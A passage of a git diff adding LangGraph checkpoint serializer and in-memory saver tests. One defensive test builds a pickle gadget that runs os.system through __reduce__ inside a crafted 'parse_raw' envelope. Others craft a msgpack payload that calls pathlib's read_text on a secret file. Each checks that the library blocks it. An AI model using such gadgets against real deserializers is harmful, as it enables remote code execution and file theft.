== "langgraph.checkpoint.serde.jsonplus" + and r.levelno == logging.WARNING + and "langchain_core.messages.ai.AIMessage" in r.getMessage() + and "legacy_method_field=True" in r.getMessage() + ] + assert matching, ( + "Expected a WARNING from langgraph.checkpoint.serde.jsonplus " + "referencing the class id and legacy_method_field=True; " + f"got records: {[(r.name, r.levelname, r.getMessage()) for r in caplog.records]}" + ) + + +def test_lc2_json_safe_type_pickle_payload_does_not_execute() -> None: + """End-to-end: a `parse_raw` pickle gadget payload on a SAFE type must not run. + + With method dispatch removed from `_revive_lc2`, the gadget bytes are never + passed to `parse_raw` and therefore never reach `pickle.loads`. + """ + import os + import pickle + import tempfile + + marker = tempfile.NamedTemporaryFile( + prefix="lc2_block_proof_", suffix=".out", delete=False + ).name + os.remove(marker) # ensure absent before the test runs + + class _Gadget: + def __reduce__(self) -> tuple: + return (os.system, (f"touch {marker}",)) + + gadget_bytes = pickle.dumps(_Gadget(), protocol=0).decode("latin1") + envelope = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "method": "parse_raw", + "args": [gadget_bytes], + "kwargs": {"content_type": "application/pickle", "allow_pickle": True}, + } + + serde = JsonPlusSerializer() + try: + serde.loads_typed(("json", json.dumps(envelope).encode())) + except Exception: + pass + + assert not os.path.exists(marker), ( + "Pickle gadget executed via parse_raw on AIMessage lc=2 envelope" + ) + + +def test_serde_jsonplus_bytearray() -> None: + serde = JsonPlusSerializer() + + some_bytearray = bytearray([42]) + dumped = serde.dumps_typed(some_bytearray) + + assert dumped == ("bytearray", some_bytearray) + assert serde.loads_typed(dumped) == some_bytearray + + +@pytest.mark.parametrize( + "arr", + [ + np.arange(9, dtype=np.int32).reshape(3, 3), + np.asfortranarray(np.arange(9, dtype=np.float64).reshape(3, 3)), + np.arange(12, dtype=np.int16)[::2].reshape(3, 2), + ], +) +def test_serde_jsonplus_numpy_array(arr: np.ndarray) -> None: + serde = JsonPlusSerializer() + + dumped = serde.dumps_typed(arr) + assert dumped[0] == "msgpack" + result = serde.loads_typed(dumped) + assert isinstance(result, np.ndarray) + assert result.dtype == arr.dtype + assert np.array_equal(result, arr) + + +@pytest.mark.parametrize( + "arr", + [ + np.arange(6, dtype=np.float32).reshape(2, 3), + np.asfortranarray(np.arange(4, dtype=np.complex128).reshape(2, 2)), + ], +) +def test_serde_jsonplus_numpy_array_json_hook(arr: np.ndarray) -> None: + serde = JsonPlusSerializer(__unpack_ext_hook__=_msgpack_ext_hook_to_json) + dumped = serde.dumps_typed(arr) + assert dumped[0] == "msgpack" + result = serde.loads_typed(dumped) + assert isinstance(result, list) + assert result == arr.tolist() + + +@pytest.mark.parametrize( + "df", + [ + pd.DataFrame(), + pd.DataFrame({"int_col": [1, 2, 3]}), + pd.DataFrame({"float_col": [1.1, 2.2, 3.3]}), + pd.DataFrame({"str_col": ["a", "b", "c"]}), + pd.DataFrame({"bool_col": [True, False, True]}), + pd.DataFrame( + { + "datetime_col": [ + datetime(2024, 1, 1), + datetime(2024, 1, 2), + datetime(2024, 1, 3), + ] + } + ), + pd.DataFrame( + { + "int_col": [1, 2, 3], + "float_col": [1.1, 2.2, 3.3], + "str_col": ["a", "b", "c"], + } + ), + pd.DataFrame( + { + "int_col": [1, 2, None], + "float_col": [1.1, None, 3.3], + "str_col": ["a", None, "c"], + } + ), + pytest.param( + pd.DataFrame({"cat_col": pd.Categorical(["a", "b", "a", "c"])}), + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), reason="NotImplementedError on Python 3.14" + ), + ), + pd.DataFrame( + { + "int8": pd.array([1, 2, 3], dtype="int8"), + "int16": pd.array([10, 20, 30], dtype="int16"), + "int32": pd.array([100, 200, 300], dtype="int32"), + "int64": pd.array([1000, 2000, 3000], dtype="int64"), + "float32": pd.array([1.1, 2.2, 3.3], dtype="float32"), + "float64": pd.array([10.1, 20.2, 30.3], dtype="float64"), + } + ), + pd.DataFrame({"value": [1, 2, 3]}, index=["x", "y", "z"]), + pd.DataFrame( + [[1, 2, 3, 4]], + columns=pd.MultiIndex.from_tuples( + [("A", "X"), ("A", "Y"), ("B", "X"), ("B", "Y")] + ), + ), + pd.DataFrame( + {"value": [1, 2, 3]}, index=pd.date_range("2024-01-01", periods=3, freq="D") + ), + pd.DataFrame( + { + "col1": range(1000), + "col2": [f"str_{i}" for i in range(1000)], + "col3": np.random.rand(1000), + } + ), + pytest.param( + pd.DataFrame( + { + "tz_datetime": pd.date_range( + "2024-01-01", periods=3, freq="D", tz="UTC" + ) + } + ), + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), reason="NotImplementedError on Python 3.14" + ), + ), + pd.DataFrame({"timedelta": pd.to_timedelta([1, 2, 3], unit="D")}), + pytest.param( + pd.DataFrame({"period": pd.period_range("2024-01", periods=3, freq="M")}), + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), reason="NotImplementedError on Python 3.14" + ), + ), + pd.DataFrame({"interval": pd.interval_range(start=0, end=3, periods=3)}), + pd.DataFrame({"unicode": ["Hello 🌍", "Python 🐍", "Data 📊"]}), + pd.DataFrame({"mixed": [1, "string", [1, 2, 3], {"key": "value"}]}), + pd.DataFrame({"a": [1], "b": ["test"], "c": [3.14]}), + pd.DataFrame({"single": [42]}), + pd.DataFrame( + { + "small": [sys.float_info.min, 0, sys.float_info.max], + "large_int": [-(2**63), 0, 2**63 - 1], + } + ), + pd.DataFrame({"special_strings": ["", "null", "None", "NaN", "inf", "-inf"]}), + pd.DataFrame({"bytes_col": [b"hello", b"world", b"\x00\x01\x02"]}), + ], +) +def test_serde_jsonplus_pandas_dataframe(df: pd.DataFrame) -> None: + serde = JsonPlusSerializer(pickle_fallback=True) + + dumped = serde.dumps_typed(df) + assert dumped[0] == "pickle" + result = serde.loads_typed(dumped) + assert result.equals(df) + + +@pytest.mark.parametrize( + "series", + [ + pd.Series([]), + pd.Series([1, 2, 3]), + pd.Series([1.1, 2.2, 3.3]), + pd.Series(["a", "b", "c"]), + pd.Series([True, False, True]), + pd.Series([datetime(2024, 1, 1), datetime(2024, 1, 2), datetime(2024, 1, 3)]), + pd.Series([1, 2, None]), + pd.Series([1.1, None, 3.3]), + pd.Series(["a", None, "c"]), + pytest.param( + pd.Series(pd.Categorical(["a", "b", "a", "c"])), + marks=pytest.mark.skipif( + sys.version_info >= (3, 14), reason="NotImplementedError on Python 3.14" + ), + ), + pd.Series([1, 2, 3], dtype="int8"), + pd.Series([10, 20, 30], dtype="int16"), + pd.Series([100, 200, 300], dtype="int32"), + pd.Series([1000, 2000, 3000], dtype="int64"), + pd.Series([1.1, 2.2, 3.3], dtype="float32"), + pd.Series([10.1, 20.2, 30.3], dtype="float64"), + pd.Series([1, 2, 3], index=["x", "y", "z"]), + pd.Series([1, 2, 3], index=pd.date_range("2024-01-01", periods=3, freq="D")), + pd.Series(range(1000)), + pd.Series(pd.date_range("2024-01-01", periods=3, freq="D", tz="UTC")), + pd.Series(pd.to_timedelta([1, 2, 3], unit="D")), + pd.Series(pd.period_range("2024-01", periods=3, freq="M")), + pd.Series(pd.interval_range(start=0, end=3, periods=3)), + pd.Series(["Hello 🌍", "Python 🐍", "Data 📊"]), + pd.Series([1, "string", [1, 2, 3], {"key": "value"}]), + pd.Series([42], name="single"), + pd.Series([sys.float_info.min, 0, sys.float_info.max]), + pd.Series([-(2**63), 0, 2**63 - 1]), + pd.Series(["", "null", "None", "NaN", "inf", "-inf"]), + pd.Series([b"hello", b"world", b"\x00\x01\x02"]), + pd.Series([1, 2, 3], name="named_series"), + pd.Series( + [10, 20], + index=pd.MultiIndex.from_tuples([("a", 1), ("b", 2)], names=["x", "y"]), + ), + ], +) +def test_serde_jsonplus_pandas_series(series: pd.Series) -> None: + serde = JsonPlusSerializer(pickle_fallback=True) + dumped = serde.dumps_typed(series) + + assert dumped[0] == "pickle" + result = serde.loads_typed(dumped) + assert result.equals(series) + + +def test_msgpack_safe_types_no_warning(caplog: pytest.LogCaptureFixture) -> None: + """Test safe types deserialize without warnings.""" + + serde = JsonPlusSerializer() + + safe_objects = [ + datetime.now(), + date.today(), + time(12, 30), + timezone.utc, + uuid.uuid4(), + Decimal("123.45"), + {1, 2, 3}, + frozenset([1, 2, 3]), + deque([1, 2, 3]), + IPv4Address("192.168.1.1"), + pathlib.Path("/tmp/test"), + ] + + for obj in safe_objects: + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + assert "unregistered type" not in caplog.text.lower(), ( + f"Unexpected warning for {type(obj)}" + ) + assert result is not None + + +@pytest.fixture(autouse=True) +def _reset_warned_types() -> None: + # Warning dedup state is process-global; reset per-test so each case sees + # a fresh slate and assertions about warning emission are stable. + _warned_unregistered_types.clear() + _warned_blocked_types.clear() + + +def test_msgpack_pydantic_warns_by_default(caplog: pytest.LogCaptureFixture) -> None: + """Pydantic models not in allowlist should log warning but still deserialize.""" + current = _lg_msgpack.STRICT_MSGPACK_ENABLED + _lg_msgpack.STRICT_MSGPACK_ENABLED = False + serde = JsonPlusSerializer() + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "unregistered type" in caplog.text.lower() + assert "allowed_msgpack_modules" in caplog.text + assert result == obj + + # Second deserialization of the same type should NOT produce another warning + caplog.clear() + result2 = serde.loads_typed(dumped) + assert "unregistered type" not in caplog.text.lower() + assert result2 == obj + _lg_msgpack.STRICT_MSGPACK_ENABLED = current + + +def test_msgpack_env_strict_default( + caplog: pytest.LogCaptureFixture, +) -> None: + """Strict msgpack env should default to blocking unregistered types.""" + current = _lg_msgpack.STRICT_MSGPACK_ENABLED + _lg_msgpack.STRICT_MSGPACK_ENABLED = True + serde = JsonPlusSerializer() + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + assert result == obj.model_dump() + _lg_msgpack.STRICT_MSGPACK_ENABLED = current + + +def test_msgpack_allowlist_silences_warning(caplog: pytest.LogCaptureFixture) -> None: + """Types in allowed_msgpack_modules should deserialize without warnings.""" + + serde = JsonPlusSerializer( + allowed_msgpack_modules=[ + ("tests.test_jsonplus", "MyPydantic"), + ("tests.test_jsonplus", "InnerPydantic"), + ] + ) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "unregistered type" not in caplog.text.lower() + assert result == obj + + +def test_msgpack_none_blocks_unregistered(caplog: pytest.LogCaptureFixture) -> None: + """allowed_msgpack_modules=None should block unregistered types.""" + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + expected = obj.model_dump() + assert result == expected + + +def test_msgpack_allowlist_blocks_non_listed( + caplog: pytest.LogCaptureFixture, +) -> None: + """Allowlists should block unregistered types even if msgpack is enabled.""" + serde = JsonPlusSerializer( + allowed_msgpack_modules=[("tests.test_jsonplus", "MyPydantic")] + ) + + obj = AnotherPydantic(foo="nope") + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + expected = obj.model_dump() + # It's not allowed, so we just leave it as a dict + assert result == expected + + +def test_msgpack_blocked_emits_event() -> None: + events: list[SerdeEvent] = [] + unregister = register_serde_event_listener(events.append) + try: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + obj = AnotherPydantic(foo="nope") + serde.loads_typed(serde.dumps_typed(obj)) + finally: + unregister() + + assert { + "kind": "msgpack_blocked", + "module": "tests.test_jsonplus", + "name": "AnotherPydantic", + } in events + + +def test_msgpack_unregistered_allowed_emits_event() -> None: + events: list[SerdeEvent] = [] + unregister = register_serde_event_listener(events.append) + try: + serde = JsonPlusSerializer(allowed_msgpack_modules=True) + obj = AnotherPydantic(foo="ok") + serde.loads_typed(serde.dumps_typed(obj)) + finally: + unregister() + + assert { + "kind": "msgpack_unregistered_allowed", + "module": "tests.test_jsonplus", + "name": "AnotherPydantic", + } in events + + +def test_msgpack_strict_allows_safe_types( + caplog: pytest.LogCaptureFixture, +) -> None: + """Safe types should still deserialize in strict mode without warnings.""" + + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + safe = uuid.uuid4() + + caplog.clear() + dumped = serde.dumps_typed(safe) + result = serde.loads_typed(dumped) + + assert "blocked" not in caplog.text.lower() + assert result == safe + + +def test_msgpack_strict_allows_core_langchain_messages( + caplog: pytest.LogCaptureFixture, +) -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + msg = HumanMessage(content="hello") + + caplog.clear() + result = serde.loads_typed(serde.dumps_typed(msg)) + + assert "blocked" not in caplog.text.lower() + assert "unregistered" not in caplog.text.lower() + assert isinstance(result, HumanMessage) + assert result == msg + + +def test_msgpack_strict_allows_langchain_document( + caplog: pytest.LogCaptureFixture, +) -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + doc = Document(page_content="hello", metadata={"k": "v"}) + + caplog.clear() + result = serde.loads_typed(serde.dumps_typed(doc)) + + assert "blocked" not in caplog.text.lower() + assert "unregistered" not in caplog.text.lower() + assert isinstance(result, Document) + assert result == doc + + +def test_msgpack_regex_safe_type(caplog: pytest.LogCaptureFixture) -> None: + """re.compile patterns should deserialize without warnings as a safe type.""" + + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + pattern = re.compile(r"foo.*bar", re.IGNORECASE | re.DOTALL) + + caplog.clear() + dumped = serde.dumps_typed(pattern) + result = serde.loads_typed(dumped) + + assert "blocked" not in caplog.text.lower() + assert "unregistered" not in caplog.text.lower() + assert result.pattern == pattern.pattern + assert result.flags == pattern.flags + + +def test_msgpack_method_pathlib_blocked_in_strict( + tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture +) -> None: + target = tmp_path / "secret.txt" + target.write_text("secret") + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + payload = ormsgpack.packb( + ormsgpack.Ext( + EXT_METHOD_SINGLE_ARG, + _msgpack_enc(("pathlib", "Path", target, "read_text")), + ), + option=ormsgpack.OPT_NON_STR_KEYS, + ) + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + caplog.clear() + result = serde.loads_typed(("msgpack", payload)) + + assert result == target + assert "blocked deserialization of method call pathlib.path.read_text" in ( + caplog.text.lower() + ) + + +def test_msgpack_method_pathlib_blocked_default_mode( + tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture +) -> None: + target = tmp_path / "secret.txt" + target.write_text("secret") + serde = JsonPlusSerializer(allowed_msgpack_modules=True) + payload = ormsgpack.packb( + ormsgpack.Ext( + EXT_METHOD_SINGLE_ARG, + _msgpack_enc(("pathlib", "Path", target, "read_text")), + ), + option=ormsgpack.OPT_NON_STR_KEYS, + ) + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + caplog.clear() + result = serde.loads_typed(("msgpack", payload)) + + assert result == target + assert "blocked deserialization of method call pathlib.path.read_text" in ( + caplog.text.lower() + ) + + +def test_msgpack_regex_still_works_strict(caplog: pytest.LogCaptureFixture) -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + pattern = re.compile(r"pattern", re.IGNORECASE | re.MULTILINE) + + caplog.clear() + result = serde.loads_typed(serde.dumps_typed(pattern)) + + assert "blocked" not in caplog.text.lower() + assert result.pattern == pattern.pattern + assert result.flags == pattern.flags + + +def test_msgpack_path_constructor_still_works() -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + path_obj = pathlib.Path("/tmp/foo") + + result = serde.loads_typed(serde.dumps_typed(path_obj)) + + assert result == path_obj + + +def test_with_msgpack_allowlist_noop_returns_same_instance() -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + + result = serde.with_msgpack_allowlist(()) + + assert result is serde + + +def test_with_msgpack_allowlist_supports_subclass_without_init_kwargs() -> None: + class CustomSerializer(JsonPlusSerializer): + def __init__(self) -> None: + super().__init__(allowed_msgpack_modules=None) + + serde = CustomSerializer() + result = serde.with_msgpack_allowlist([MyDataclass]) + + assert isinstance(result, CustomSerializer) + assert result is not serde + assert serde._allowed_msgpack_modules is None + assert result._allowed_msgpack_modules == { + (MyDataclass.__module__, MyDataclass.__name__) + } + + +def test_with_msgpack_allowlist_rebuilds_default_unpack_hook() -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + original_hook = serde._unpack_ext_hook + + result = serde.with_msgpack_allowlist([MyDataclass]) + + assert result._unpack_ext_hook is not original_hook + + +def test_with_msgpack_allowlist_preserves_custom_unpack_hook() -> None: + def custom_hook(code: int, data: bytes) -> None: + return None + + serde = JsonPlusSerializer( + allowed_msgpack_modules=None, __unpack_ext_hook__=custom_hook + ) + result = serde.with_msgpack_allowlist([MyDataclass]) + + assert result._unpack_ext_hook is custom_hook + + +@pytest.mark.skipif(sys.version_info >= (3, 14), reason="pydantic v1 not on 3.14+") +def test_msgpack_pydantic_v1_allowlist(caplog: pytest.LogCaptureFixture) -> None: + """Pydantic v1 models in allowlist should deserialize without warnings.""" + + serde = JsonPlusSerializer( + allowed_msgpack_modules=[ + ("tests.test_jsonplus", "MyPydanticV1"), + ("tests.test_jsonplus", "InnerPydanticV1"), + ] + ) + + obj = MyPydanticV1(foo="test", bar=42, inner=InnerPydanticV1(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "unregistered type" not in caplog.text.lower() + assert "blocked" not in caplog.text.lower() + assert result == obj + + +def test_msgpack_dataclass_allowlist(caplog: pytest.LogCaptureFixture) -> None: + """Dataclasses in allowlist should deserialize without warnings.""" + + serde = JsonPlusSerializer( + allowed_msgpack_modules=[ + ("tests.test_jsonplus", "MyDataclass"), + ("tests.test_jsonplus", "InnerDataclass"), + ] + ) + + obj = MyDataclass(foo="test", bar=42, inner=InnerDataclass(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "unregistered type" not in caplog.text.lower() + assert "blocked" not in caplog.text.lower() + assert result == obj + + +def test_msgpack_safe_types_value_equality(caplog: pytest.LogCaptureFixture) -> None: + """Verify safe types are correctly restored with proper values.""" + + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + + test_cases = [ + datetime(2024, 1, 15, 12, 30, 45, 123456), + date(2024, 6, 15), + time(14, 30, 0), + uuid.UUID("12345678-1234-5678-1234-567812345678"), + Decimal("123.456789"), + {1, 2, 3, 4, 5}, + frozenset(["a", "b", "c"]), + deque([1, 2, 3]), + IPv4Address("10.0.0.1"), + pathlib.Path("/some/test/path"), + re.compile(r"\d+", re.MULTILINE), + ] + + for obj in test_cases: + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + assert "blocked" not in caplog.text.lower(), f"Blocked for {type(obj)}" + # For regex patterns, compare pattern and flags + if isinstance(obj, re.Pattern): + assert result.pattern == obj.pattern + assert result.flags == obj.flags + else: + assert result == obj, f"Value mismatch for {type(obj)}: {result} != {obj}" + + +def test_msgpack_nested_pydantic_serializes_as_dict( + caplog: pytest.LogCaptureFixture, +) -> None: + """Nested Pydantic models are serialized via model_dump() as dicts. + + This means nested models don't go through the ext hook and don't need + to be in the allowlist - only the outer type does. + """ + + # Only allow outer type - inner is serialized as dict via model_dump() + serde = JsonPlusSerializer( + allowed_msgpack_modules=[("tests.test_jsonplus", "MyPydantic")] + ) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + result = serde.loads_typed(dumped) + + # No blocking should occur - inner is serialized as dict, not ext + assert "blocked" not in caplog.text.lower() + assert result == obj diff --git a/libs/checkpoint/tests/test_memory.py b/libs/checkpoint/tests/test_memory.py new file mode 100644 index 0000000..70e22e0 --- /dev/null +++ b/libs/checkpoint/tests/test_memory.py @@ -0,0 +1,680 @@ +import logging +from typing import Any + +import pytest +from langchain_core.runnables import RunnableConfig +from pydantic import BaseModel + +from langgraph.checkpoint.base import ( + Checkpoint, + CheckpointMetadata, + create_checkpoint, + empty_checkpoint, +) +from langgraph.checkpoint.memory import InMemorySaver +from langgraph.checkpoint.serde.jsonplus import ( + JsonPlusSerializer, + _warned_blocked_types, + _warned_unregistered_types, +) + + +class MemoryPydantic(BaseModel): + foo: str + + +@pytest.fixture(autouse=True) +def _reset_warned_types() -> None: + # Warning dedup state is process-global; reset per-test so each case sees + # a fresh slate and assertions about warning emission are stable. + _warned_unregistered_types.clear() + _warned_blocked_types.clear() + + +class TestMemorySaver: + @pytest.fixture(autouse=True) + def setup(self) -> None: + self.memory_saver = InMemorySaver() + + # objects for test setup + self.config_1: RunnableConfig = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_ns": "", + "checkpoint_id": "1", + } + } + self.config_2: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "checkpoint_id": "2", + } + } + self.config_3: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2-inner", + "checkpoint_ns": "inner", + } + } + + self.chkpnt_1: Checkpoint = empty_checkpoint() + self.chkpnt_2: Checkpoint = create_checkpoint(self.chkpnt_1, {}, 1) + self.chkpnt_3: Checkpoint = empty_checkpoint() + + self.metadata_1: CheckpointMetadata = { + "source": "input", + "step": 2, + "writes": {}, + "score": 1, + } + self.metadata_2: CheckpointMetadata = { + "source": "loop", + "step": 1, + "writes": {"foo": "bar"}, + "score": None, + } + self.metadata_3: CheckpointMetadata = {} + + def test_combined_metadata(self) -> None: + config: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + self.memory_saver.put( + config, self.chkpnt_2, self.metadata_2, self.chkpnt_2["channel_versions"] + ) + checkpoint = self.memory_saver.get_tuple(config) + assert checkpoint is not None + assert checkpoint.metadata == { + **self.metadata_2, + "run_id": "my_run_id", + } + + async def test_search(self) -> None: + # set up test + # save checkpoints + self.memory_saver.put( + self.config_1, + self.chkpnt_1, + self.metadata_1, + self.chkpnt_1["channel_versions"], + ) + self.memory_saver.put( + self.config_2, + self.chkpnt_2, + self.metadata_2, + self.chkpnt_2["channel_versions"], + ) + self.memory_saver.put( + self.config_3, + self.chkpnt_3, + self.metadata_3, + self.chkpnt_3["channel_versions"], + ) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + "writes": {"foo": "bar"}, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = list(self.memory_saver.list(None, filter=query_1)) + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == self.metadata_1 + + search_results_2 = list(self.memory_saver.list(None, filter=query_2)) + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == self.metadata_2 + + search_results_3 = list(self.memory_saver.list(None, filter=query_3)) + assert len(search_results_3) == 3 + + search_results_4 = list(self.memory_saver.list(None, filter=query_4)) + assert len(search_results_4) == 0 + + # search by config (defaults to checkpoints across all namespaces) + search_results_5 = list( + self.memory_saver.list({"configurable": {"thread_id": "thread-2"}}) + ) + assert len(search_results_5) == 2 + assert { + search_results_5[0].config["configurable"]["checkpoint_ns"], + search_results_5[1].config["configurable"]["checkpoint_ns"], + } == {"", "inner"} + + # TODO: test before and limit params + + async def test_asearch(self) -> None: + # set up test + # save checkpoints + self.memory_saver.put( + self.config_1, + self.chkpnt_1, + self.metadata_1, + self.chkpnt_1["channel_versions"], + ) + self.memory_saver.put( + self.config_2, + self.chkpnt_2, + self.metadata_2, + self.chkpnt_2["channel_versions"], + ) + self.memory_saver.put( + self.config_3, + self.chkpnt_3, + self.metadata_3, + self.chkpnt_3["channel_versions"], + ) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + "writes": {"foo": "bar"}, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = [ + c async for c in self.memory_saver.alist(None, filter=query_1) + ] + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == self.metadata_1 + + search_results_2 = [ + c async for c in self.memory_saver.alist(None, filter=query_2) + ] + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == self.metadata_2 + + search_results_3 = [ + c async for c in self.memory_saver.alist(None, filter=query_3) + ] + assert len(search_results_3) == 3 + + search_results_4 = [ + c async for c in self.memory_saver.alist(None, filter=query_4) + ] + assert len(search_results_4) == 0 + + +async def test_memory_saver() -> None: + memory_saver = InMemorySaver() + assert isinstance(memory_saver, InMemorySaver) + + async with memory_saver as async_memory_saver: + assert async_memory_saver is memory_saver + + with memory_saver as sync_memory_saver: + assert sync_memory_saver is memory_saver + + +def test_memory_saver_warns_on_unregistered_msgpack( + caplog: pytest.LogCaptureFixture, +) -> None: + serde = JsonPlusSerializer() + memory_saver = InMemorySaver(serde=serde) + obj = MemoryPydantic(foo="bar") + + checkpoint = empty_checkpoint() + checkpoint["channel_values"] = {"foo": obj} + checkpoint["channel_versions"] = {"foo": 1} + + config: RunnableConfig = { + "configurable": {"thread_id": "thread-1", "checkpoint_ns": ""} + } + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1}) + result = memory_saver.get_tuple(new_config) + + assert result is not None + assert "unregistered type" in caplog.text.lower() + assert result.checkpoint["channel_values"]["foo"] == obj + + +def test_memory_saver_allowlist_silences_warning( + caplog: pytest.LogCaptureFixture, +) -> None: + serde = JsonPlusSerializer( + allowed_msgpack_modules=[("tests.test_memory", "MemoryPydantic")] + ) + memory_saver = InMemorySaver(serde=serde) + obj = MemoryPydantic(foo="bar") + + checkpoint = empty_checkpoint() + checkpoint["channel_values"] = {"foo": obj} + checkpoint["channel_versions"] = {"foo": 1} + + config: RunnableConfig = { + "configurable": {"thread_id": "thread-1", "checkpoint_ns": ""} + } + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1}) + result = memory_saver.get_tuple(new_config) + + assert result is not None + assert "unregistered type" not in caplog.text.lower() + assert result.checkpoint["channel_values"]["foo"] == obj + + +def test_memory_saver_strict_blocks_unregistered( + caplog: pytest.LogCaptureFixture, +) -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + memory_saver = InMemorySaver(serde=serde) + obj = MemoryPydantic(foo="bar") + + checkpoint = empty_checkpoint() + checkpoint["channel_values"] = {"foo": obj} + checkpoint["channel_versions"] = {"foo": 1} + + config: RunnableConfig = { + "configurable": {"thread_id": "thread-1", "checkpoint_ns": ""} + } + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + new_config = memory_saver.put(config, checkpoint, {}, {"foo": 1}) + result = memory_saver.get_tuple(new_config) + + assert result is not None + assert "blocked" in caplog.text.lower() + expected = obj.model_dump() if hasattr(obj, "model_dump") else obj.dict() + assert result.checkpoint["channel_values"]["foo"] == expected + + +def test_memory_saver_with_allowlist_proxy_isolated() -> None: + serde = JsonPlusSerializer(allowed_msgpack_modules=None) + memory_saver = InMemorySaver(serde=serde) + proxy = memory_saver.with_allowlist([("tests.test_memory", "MemoryPydantic")]) + + obj = MemoryPydantic(foo="bar") + + checkpoint = empty_checkpoint() + checkpoint["channel_values"] = {"foo": obj} + checkpoint["channel_versions"] = {"foo": 1} + + config: RunnableConfig = { + "configurable": {"thread_id": "thread-1", "checkpoint_ns": ""} + } + + new_config = proxy.put(config, checkpoint, {}, {"foo": 1}) + + proxied = proxy.get_tuple(new_config) + assert proxied is not None + assert proxied.checkpoint["channel_values"]["foo"] == obj + + direct = memory_saver.get_tuple(new_config) + assert direct is not None + expected = obj.model_dump() if hasattr(obj, "model_dump") else obj.dict() + assert direct.checkpoint["channel_values"]["foo"] == expected + + +class TestInMemorySaverDeltaChannel: + def test_load_blobs_omits_delta_channel(self) -> None: + """_load_blobs omits delta channels (stored as 'empty'); reconstruction deferred.""" + saver = InMemorySaver() + + thread_id, ns, channel = "t1", "", "messages" + v1 = "00000000000000000000000000000001.0000000000000000" + + saver.blobs[(thread_id, ns, channel, v1)] = ("empty", b"") + + result = saver._load_blobs(thread_id, ns, {channel: v1}) + assert channel not in result + + def test_get_channel_writes_collects_ancestor_writes_only(self) -> None: + """`get_delta_channel_history` collects ancestor writes oldest→newest, and + excludes writes stored at the target checkpoint itself (those are + pending writes for the next step, applied separately by pregel). + + When the walk reaches the root without finding any stored value for + the channel, the per-channel entry has no `seed` key (TypedDict + absence indicates "start empty"). + """ + saver = InMemorySaver() + serde = JsonPlusSerializer() + + thread_id, ns, channel = "t1", "", "messages" + + cp1 = empty_checkpoint() + cp1["id"] = "cp1" + cp2 = empty_checkpoint() + cp2["id"] = "cp2" + saver.storage[thread_id][ns] = { + "cp1": (serde.dumps_typed(cp1), serde.dumps_typed({}), None), + "cp2": (serde.dumps_typed(cp2), serde.dumps_typed({}), "cp1"), + } + # Writes stored at cp1 produced the cp1 snapshot; part of history. + saver.writes[(thread_id, ns, "cp1")][("task1", 0)] = ( + "task1", + channel, + serde.dumps_typed({"content": "hi"}), + "", + ) + # Writes stored at cp2 are pending — they will produce cp3 when the + # step that loaded cp2 completes. They MUST NOT appear in the + # reconstructed 